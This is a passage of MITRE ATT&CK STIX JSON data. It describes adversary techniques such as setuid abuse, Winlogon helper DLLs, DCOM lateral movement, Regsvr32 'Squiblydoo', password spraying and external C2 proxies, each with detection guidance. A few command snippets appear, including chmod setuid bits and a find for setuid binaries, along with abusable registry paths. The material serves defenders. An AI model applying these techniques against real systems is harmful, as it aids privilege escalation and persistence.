            "description": "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The <code>chmod</code> command can set these bits with bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>. This will enable the setuid bit. To enable the setgid bit, <code>chmod 2775</code> and <code>chmod g+s</code> can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>find</code> command can also be used to search for such files. For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Metadata",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
            "created": "2020-01-24T16:59:59.688Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547/004",
                    "external_id": "T1547.004"
                },
                {
                    "source_name": "Cylance Reg Persistence Sept 2013",
                    "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160214140250/http://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:37.982Z",
            "name": "Winlogon Helper DLL",
            "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Module: Module Load",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3",
            "created": "2017-05-31T21:30:28.613Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1019",
                    "external_id": "T1019"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/532.html",
                    "external_id": "CAPEC-532"
                },
                {
                    "source_name": "Wikipedia BIOS",
                    "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.",
                    "url": "https://en.wikipedia.org/wiki/BIOS"
                },
                {
                    "source_name": "Wikipedia UEFI",
                    "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface"
                },
                {
                    "source_name": "About UEFI",
                    "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.",
                    "url": "http://www.uefi.org/about"
                },
                {
                    "source_name": "MITRE Trustworthy Firmware Measurement",
                    "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.",
                    "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research"
                },
                {
                    "source_name": "MITRE Copernicus",
                    "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.",
                    "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about"
                },
                {
                    "source_name": "McAfee CHIPSEC Blog",
                    "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.",
                    "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/"
                },
                {
                    "source_name": "Github CHIPSEC",
                    "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.",
                    "url": "https://github.com/chipsec/chipsec"
                },
                {
                    "source_name": "Intel HackingTeam UEFI Rootkit",
                    "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.",
                    "url": "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:39.498Z",
            "name": "System Firmware",
            "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ryan Becwar",
                "McAfee"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd",
            "created": "2020-02-11T18:26:36.444Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1021/003",
                    "external_id": "T1021.003"
                },
                {
                    "source_name": "Fireeye Hunting COM June 2019",
                    "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
                },
                {
                    "source_name": "Microsoft COM",
                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
                },
                {
                    "source_name": "Microsoft COM ACL",
                    "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1"
                },
                {
                    "source_name": "Microsoft Process Wide Com Keys",
                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"
                },
                {
                    "source_name": "MSDN WMI",
                    "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx"
                },
                {
                    "source_name": "Enigma DCOM Lateral Movement Jan 2017",
                    "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/"
                },
                {
                    "source_name": "Enigma MMC20 COM Jan 2017",
                    "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"
                },
                {
                    "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017",
                    "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"
                },
                {
                    "source_name": "Enigma Excel DCOM Sept 2017",
                    "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/"
                },
                {
                    "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017",
                    "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.",
                    "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:20:51.024Z",
            "name": "Distributed Component Object Model",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Module: Module Load",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68",
            "created": "2017-05-31T21:30:42.222Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1042",
                    "external_id": "T1042"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/556.html",
                    "external_id": "CAPEC-556"
                },
                {
                    "source_name": "Microsoft Change Default Programs",
                    "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.",
                    "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs"
                },
                {
                    "source_name": "Microsoft File Handlers",
                    "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/bb166549.aspx"
                },
                {
                    "source_name": "Microsoft Assoc Oct 2017",
                    "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.",
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc"
                },
                {
                    "source_name": "TrendMicro TROJ-FAKEAV OCT 2012",
                    "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:39.735Z",
            "name": "Change Default File Association",
            "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command</code>. For example:\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Stefan Kanthak",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under <code> [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a",
            "created": "2017-05-31T21:31:26.966Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1117",
                    "external_id": "T1117"
                },
                {
                    "source_name": "Microsoft Regsvr32",
                    "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.",
                    "url": "https://support.microsoft.com/en-us/kb/249873"
                },
                {
                    "source_name": "LOLBAS Regsvr32",
                    "description": "LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/"
                },
                {
                    "source_name": "Carbon Black Squiblydoo Apr 2016",
                    "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.",
                    "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"
                },
                {
                    "source_name": "FireEye Regsvr32 Targeting Mongolian Gov",
                    "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:39.905Z",
            "name": "Regsvr32",
            "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Casey Smith"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.3"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c",
            "created": "2020-02-11T18:39:25.122Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1110/003",
                    "external_id": "T1110.003"
                },
                {
                    "source_name": "Trimarc Detecting Password Spraying",
                    "description": "Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.",
                    "url": "https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing"
                },
                {
                    "source_name": "BlackHillsInfosec Password Spraying",
                    "description": "Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.",
                    "url": "http://www.blackhillsinfosec.com/?p=4645"
                },
                {
                    "source_name": "US-CERT TA18-068A 2018",
                    "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:38.420Z",
            "name": "Password Spraying",
            "description": "Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Microsoft Threat Intelligence Center (MSTIC)",
                "John Strand"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nConsider the following event IDs:(Citation: Trimarc Detecting Password Spraying)\n\n* Domain Controllers: \"Audit Logon\" (Success & Failure) for event ID 4625.\n* Domain Controllers: \"Audit Kerberos Authentication Service\" (Success & Failure) for event ID 4771.\n* All systems: \"Audit Logon\" (Success & Failure) for event ID 4648.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Containers",
                "IaaS",
                "Identity Provider",
                "Linux",
                "Network Devices",
                "Office Suite",
                "SaaS",
                "Windows",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.7",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Application Log: Application Log Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
            "created": "2020-03-14T23:12:18.466Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1090/002",
                    "external_id": "T1090.002"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "Trend Micro APT Attack Tools",
                    "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:38.556Z",
            "name": "External Proxy",
            "description": "Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
